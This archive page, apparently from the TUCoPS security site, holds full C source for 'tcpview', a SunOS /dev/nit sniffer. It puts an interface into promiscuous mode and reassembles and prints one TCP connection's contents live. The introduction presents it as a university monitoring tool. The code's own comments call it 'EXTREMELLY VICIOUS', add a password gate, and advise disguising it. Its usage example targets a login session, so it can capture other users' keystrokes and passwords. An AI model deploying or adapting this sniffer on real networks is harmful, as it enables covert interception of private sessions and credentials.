TUCoPS :: SunOS/Solaris :: tcpview.c

Tcpview is a SunOS (/dev/nit) sniffer-based utility which allows you to view TCP connections in real time. An advanced network sniffer system to monitor your networks. These programs are a part of the network security system used by Texas A&M University. It can be used for locating suspicious network traffic. The following programs are included: tcplogger - Log all TCP connections on a subnet udplogger - Log all UDP sessions on a subnet extract - Process log files created by tcplogger or udplogger netwatch - Realtime network monitor All three programs require an ANSI C compiler. Tcplogger and udplogger use the SunOS 4.x Network Interface Tap (nit).

/**
 ** version     : v1.01
 ** architecture: SunOS 4.1 [Sun3/Sun4]
 ** compilation : cc -O4 tcpw.c -o tcpw; strip tcpw
 ** source rights: this is an EXTREMELLY VICIOUS program, it is ADVISED
 **     that if you must keep this source online, KEEP IT IN ENCRYPTED
 **     FORM.
 **/

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

char *malloc();
char *device;
int debug = 0,          /* debug */
  fastdump = 0,         /* do no sequential packet processing */
  oneway = 0;           /* oneway watch */

char *ProgName;

#define  NIT_DEV  "/dev/nit"
#define  CHUNKSIZE  4096    /* device buffer size */

int if_fd = -1;
int Packet[CHUNKSIZE + 32];

#define  STREAM_NULL  (0)
#define  STREAM_STOD  (1)
#define  STREAM_DTOS  (2)
#define  STREAM_MAX  (3)

struct PktStack {
  u_char data[CHUNKSIZE];
  int Len;
  u_long Seq;
};

#define  STACK_MAX  (10)

struct PktStack pkt_stack[STREAM_MAX][STACK_MAX];
int pkt_snum[STREAM_MAX];
u_long seq_num[STREAM_MAX];
char *Hostname[STREAM_MAX];
struct in_addr IPaddr[STREAM_MAX];
int TCPport[STREAM_MAX];

#define  ISeq(s,d)  ((s) == (d))
#define  ISneq(s,d)  ((s) != (d))

void
Pexit(err, msg)
  int err;
  char *msg;
{
  perror(msg);
  exit(err);
}

void
Zexit(err, msg)
  int err;
  char *msg;
{
  fprintf(stderr, msg);
  exit(err);
}

#define  FREEstk(SK,St,Rc) {
  SK.Len = (-1);
  if(!(--pkt_snum[St]))
    return(Rc);
  }
#define  ALLOCstk(SK,Len,Data,S,St) {
  bcopy(Data,SK.data,Len);
  SK.Len = Len;
  SK.Seq = S;
  pkt_snum[St]++;
  }
#define  pr_packet(p,length) {
  while(length-- >0)
  fputc(*p++,stdout);
  fflush(stdout);
  }
#define  MAL_pr_packet(i_p,i_length) {
  register u_char *p = i_p;
  register int length = i_length;
  pr_packet(p,length);
  }
#define  DEBUGstk(Msg,Num,Seq) if(debug) {
  printf(Msg,Num,Seq); fflush(stdout);
  }
#define  SPKT  pkt_stack[Tp][i]

/* find and print any packets in the stack IF they are sequential
 * after ours
 */
int
cpr_stack(Tp)
  register int Tp;
{
  register int i, pr = 1;

  while (pr)
    for (pr = i = 0; (i < STACK_MAX) && (!pr); i++) {
      if (ISneq(SPKT.Len, (-1))) {
    if (SPKT.Seq <= seq_num[Tp]) {  /* check for old packets */
      DEBUGstk("DISCARD(%d/%08X)\n",
           pkt_snum[Tp], SPKT.Seq);
      FREEstk(SPKT, Tp, 0);
    } else if (ISeq(SPKT.Seq, (seq_num[Tp] + 1))) { /* check for ours! */
      DEBUGstk("POP(%d/%08X\n", pkt_snum[Tp], SPKT.Seq);
      seq_num[Tp] = SPKT.Seq;
      MAL_pr_packet(SPKT.data, SPKT.Len);
      FREEstk(SPKT, Tp, 0);
      pr = 1;
    }
      }
    }
}

/* push packet onto stack, also checking for overflow, if so, dump
 * the stack [missing packet assumed unrecoverable] */
int
psh_stack(S, Tp, p, Len)
  register u_long S;
  register int Tp, Len;
  register u_char *p;
{
  register
  int i = 0;
  register struct PktStack *PK = NULL;

  for (; (i < STACK_MAX); i++) {
    if (ISneq(SPKT.Len, (-1))) {
      if (ISeq(SPKT.Seq, S))
    return (0);     /* that Seqnum is already on the stack */
    } else if (ISeq(PK, NULL)) {
      PK = &SPKT;
    }
  }
  /* its not on the stack and we got a position for it */
  if (ISneq(PK, NULL)) {
    DEBUGstk("PUSH(%d/%08X)\n", pkt_snum[Tp], S);
    bcopy(p, PK->data, Len);
    PK->Len = Len;
    PK->Seq = S;
    pkt_snum[Tp]++;
    return (0);
  } {
    /* if we reach here, stack is full, assume missing packet is
 * gone forever, so just dump now ..   */
    register int j;
    register u_long CS;

    while (1) {
      j = (STACK_MAX + 2);
      CS = ~(0);        /* determine lowest seq number */
      for (i = 0; (i < STACK_MAX); i++) {
    if (ISneq(SPKT.Len, (-1)) && (SPKT.Seq <= CS)) {
      CS = SPKT.Seq;
      j = i;
    }
      }             /* must be nothing in stack */
      if (j > STACK_MAX)
    return (1);     /* print */
      seq_num[Tp] = SPKT.Seq;
      DEBUGstk("FLUSH(%d/%08X)\n", pkt_snum[Tp], SPKT.Seq);
      MAL_pr_packet(SPKT.data, SPKT.Len);
      FREEstk(SPKT, Tp, 1);
    }
  }
}

#define  IP  ((struct ip *)Packet)
#define  IP_OFFSET  (0x1FFF)
#define  SZETH  (sizeof(struct ether_header))
#define  IPLEN  (ntohs(ip->ip_len))
#define  IPHLEN  (ip->ip_hl)
#define  ADneq(s,t)  ((s).s_addr != (t).s_addr)

/* important part of the prog, determines if a packet is one
 * we want, and performs sycnhing of sequence numbers */
void
filter(cp, pktlen)
  char *cp;
  u_int pktlen;
{
  register int Stream = STREAM_NULL;
  register struct ip *ip;
  register struct tcphdr *tcph;
  register u_long CurSEQ;
  register u_char *p;

  {
    register u_short EtherType = ntohs(((struct ether_header *) cp)->ether_type);

    if (EtherType < 0x600) {
      EtherType = *(u_short *) (cp + SZETH + 6);
      cp += 8;
      pktlen -= 8;
    }
    if (ISneq(EtherType, ETHERTYPE_IP))
      return;
  }
  /* ugh, gotta do an alignment :-( */
  bcopy(cp + SZETH, (char *) Packet, (int) (pktlen - SZETH));
  ip = (struct ip *) Packet;
  if (ISneq(ip->ip_p, IPPROTO_TCP))
    return;
  tcph = (struct tcphdr *) (Packet + IPHLEN);
  CurSEQ = (ntohl(tcph->th_seq));
  if (debug) {
    printf("SRC:%s(%d) ", inet_ntoa(ip->ip_src), tcph->th_sport);
    printf("DST:%s(%d)\n", inet_ntoa(ip->ip_dst), tcph->th_dport);
  }
  if (ISeq(tcph->th_sport, TCPport[STREAM_STOD]) &&
      ISeq(tcph->th_dport, TCPport[STREAM_DTOS])) {
    if (ADneq(ip->ip_src, IPaddr[STREAM_STOD]) ||
    ADneq(ip->ip_dst, IPaddr[STREAM_DTOS]))
      return;
    if (!seq_num[Stream = STREAM_STOD]) {
      seq_num[STREAM_STOD] = CurSEQ - 1;
      printf("Hooked S->D [Seq %08X] ...\n", CurSEQ);
    } else if (CurSEQ <= seq_num[STREAM_STOD])
      return;
  } else if ((!oneway) &&
         ISeq(tcph->th_sport, TCPport[STREAM_DTOS]) &&
         ISeq(tcph->th_dport, TCPport[STREAM_STOD])) {
    if (ADneq(ip->ip_src, IPaddr[STREAM_DTOS]) ||
    ADneq(ip->ip_dst, IPaddr[STREAM_STOD]))
      return;
    if (!seq_num[Stream = STREAM_DTOS]) {
      seq_num[STREAM_DTOS] = CurSEQ - 1;
      printf("Hooked D->S [Seq %08X] ...\n", CurSEQ);
    } else if (CurSEQ <= seq_num[STREAM_DTOS])
      return;
  } else
    return;
  {
    register int length = ((IPLEN - (IPHLEN * 4)) - (tcph->th_off * 4));

    if (debug)
      printf("[%s]Seq=%08X,pl=%04X,dl=%04X,l=%04X,iph=%04X,ipl=%04X,tf=%04X\n",
         (Stream == STREAM_STOD) ? " S / D " : " D / S ", CurSEQ, pktlen,
       (IPLEN - (IPHLEN * 4)), length, ip->ip_hl, ip->ip_len, tcph->th_off);
    p = (u_char *) Packet;
    p += ((ip->ip_hl * 4) + (tcph->th_off * 4));
    if (fastdump) {
      pr_packet(p, length);
    } else {
    re_loop:if (ISeq(CurSEQ, (seq_num[Stream] + 1))) {
    seq_num[Stream] = CurSEQ;
    pr_packet(p, length);
    if (pkt_snum[Stream])   /* check for 'stacked' packets */
      cpr_stack(Stream);
      } else {
    /* out of sequence packet */
    if (psh_stack(CurSEQ, Stream, p, length))
      goto re_loop;
      }
    }
  }
}

/* signal handler */
void
flushit()
{
  printf("\n\n[terminating]\n");
  fflush(stdout);
  exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function */
void
do_it()
{
  int cc;
  char *buf;

  u_short sp_ts_len;

  if (!(buf = malloc(CHUNKSIZE)))
    Pexit(1, "Eth: malloc");
  /* this /dev/nit initialization code pinched from etherfind */  {
    struct strioctl si;
    struct ifreq ifr;
    struct timeval timeout;
    u_int chunksize = CHUNKSIZE;
    u_long if_flags = NI_PROMISC;

    if ((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
      Pexit(1, "Eth: nit open");
    if (ioctl(if_fd, I_SRDOPT, (char *) RMSGD) < 0)
      Pexit(1, "Eth: ioctl (I_SRDOPT)");
    si.ic_timout = INFTIM;
    if (ioctl(if_fd, I_PUSH, "nbuf") < 0)
      Pexit(1, "Eth: ioctl (I_PUSH \"nbuf\")");
    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof (timeout);
    si.ic_dp = (char *) &timeout;
    if (ioctl(if_fd, I_STR, (char *) &si) < 0)
      Pexit(1, "Eth: ioctl (I_STR: NIOCSTIME)");
    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof (chunksize);
    si.ic_dp = (char *) &chunksize;
    if (ioctl(if_fd, I_STR, (char *) &si) < 0)
      Pexit(1, "Eth: ioctl(I_STR:NIOCSCHUNK) ");
    strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name));
    ifr.ifr_name[sizeof (ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof (ifr);
    si.ic_dp = (char *) &ifr;
    if (ioctl(if_fd, I_STR, (char *) &si) < 0)
      Pexit(1, "Eth: ioctl (I_STR: NIOCBIND)");
    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof (if_flags);
    si.ic_dp = (char *) &if_flags;
    if (ioctl(if_fd, I_STR, (char *) &si) < 0)
      Pexit(1, "Eth: ioctl (I_STR:    NIOCSFLAGS) ");
    if (ioctl(if_fd, I_FLUSH, (char *) FLUSHR) < 0)
      Pexit(1, "Eth: ioctl (I_FLUSH)");
  }
  while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
    register char *bp = buf, *bufstop = (buf + cc);

    while (bp < bufstop) {
      register char *cp = bp;

      register struct nit_bufhdr *hdrp;

      hdrp = (struct nit_bufhdr *) cp;
      cp += sizeof (struct nit_bufhdr);

      bp += hdrp->nhb_totlen;
      filter(cp, (u_long) hdrp->nhb_msglen);
    }
  } Pexit((-1), "Eth: read");
}

/* Parses Hostname/port information */
int
FixHost(h, Tp)
  char *h;
  int Tp;
{
  int ok = 1, i = 0;
  char *ptr;

  if (!(ptr = strtok(h, "/")))
    return (0);
  /* get hostname, convert from symbolic if needed */
  if ((IPaddr[Tp].s_addr = inet_addr(ptr)) == (unsigned) -1) {
    struct hostent *he = gethostbyname(ptr);

    if (he) {
      Hostname[Tp] = strdup(he->h_name);
      bcopy(he->h_addr, (char *) &IPaddr[Tp].
        s_addr, 4);
    } else
      return (0);
  } else
    Hostname[Tp] = strdup(inet_ntoa(IPaddr[Tp]));
  if (!(ptr = strtok(NULL, "")))
    return (0);
  /* get portname, conver from symbolic if needed */
  if ((TCPport[Tp] = atoi(ptr)) == 0) {
    struct servent *sv = getservbyname(ptr, "tcp");

    if (sv)
      TCPport[Tp] = sv->s_port;
    else
      return (0);
  }
  return (1);
}

#define AUTHPASSWD "EloiZgZejWyms"
/* Important! ensures other people cant (easily) run this program,
 * you may consider removing the HELP text to disguise it.
 */
void
Get_Authorization()
{
  char *buf, *getpass(), *crypt();
  char pwd[21];

  strcpy(pwd, AUTHPASSWD);
  buf = getpass("up? ");
  if (strcmp(pwd, crypt(buf, pwd)))
    exit(1);
}

void
Usage()
{
  fprintf(stderr, "Usage: %s [-i device] [-d] [-o] [-f] SRC.Host/Port DST.Host/Port\n",
      ProgName);
  fprintf(stderr, "  -o         Oneway [Watch src->dst packets only]\n");
  fprintf(stderr, "  -d         Debug\n");
  fprintf(stderr, "  -f         Fastdump - ignore sequence numbers\n");
  fprintf(stderr, "  -i    device specify logical ethernet interface\n");
  fprintf(stderr, " Host/Port  Hostname with respective port, maybe in\n");
  fprintf(stderr, " numeric or symbolic format.\n\n");
  fprintf(stderr, "  Example:   %s -i le0 -o hack.com/login 128.2.2.2/5645\n", ProgName);
  fprintf(stderr, "             (C)1992 >R  -> AUTHORIZED USE ONLY\n");
  exit(1);
}

/* Where it all begins ... */
void
main(argc, argv)
  int argc;
  char **argv;
{
  char cbuf[BUFSIZ];
  struct ifconf ifc;
  int s, ac = 1;

  ProgName = argv[0];
  if (argc < 3)
    Usage();
  /* Get_Authorization();       /* parse args */
  device = NULL;
  while (argv[ac][0] == '-') {
    register char ch = argv[ac++][1];

    switch (toupper(ch)) {
    case 'I':
      device = argv[ac++];
      break;
    case 'D':
      debug = 1;
      break;
    case 'O':
      oneway = 1;
      break;
    case 'F':
      fastdump = 1;
      break;
    default:
      Usage();
      break;
    }
  }             /* resolve host/ports */
  if (!FixHost(argv[ac++], STREAM_STOD))
    Zexit(1, "Cannot resolve source host/port");
  if (!FixHost(argv[ac++], STREAM_DTOS))
    Zexit(1, "Cannot resolve destination host/port"); {
    register int i, j;

    for (i = 0; i < STREAM_MAX; i++) {
      pkt_snum[i] = 0;
      seq_num[i] = 0;
      for (j = 0; j < STACK_MAX; j++)
    pkt_stack[i][j].Len = -1;
    }
    }               /* if not a specified device, determine it */
    if (!device) {
      if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
    Pexit(1, "Eth: socket");
      ifc.ifc_len = sizeof (cbuf);
      ifc.ifc_buf = cbuf;
      if (ioctl(s, SIOCGIFCONF, (char *) &ifc) < 0)
    Pexit(1, "Eth: ioctl");
      close(s);
      device = ifc.ifc_req->ifr_name;
    }
  printf("IP/TCP monitor: %s(%d) <=> %s(%d)\n", Hostname[STREAM_STOD], TCPport[STREAM_STOD], Hostname[STREAM_DTOS], TCPport[STREAM_DTOS]);
  printf("Configured device %s [%s], %s%s%ssynching stream ...\n", device, NIT_DEV, (debug) ? "(debug) " : "", (oneway) ? "(1way) " : "", (fastdump) ? "(fdmp) " : "");
  fflush(stdout);
  signal(SIGINT, flushit);
  signal(SIGTERM, flushit);
  do_it();          /* NOT_REACHED */
}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH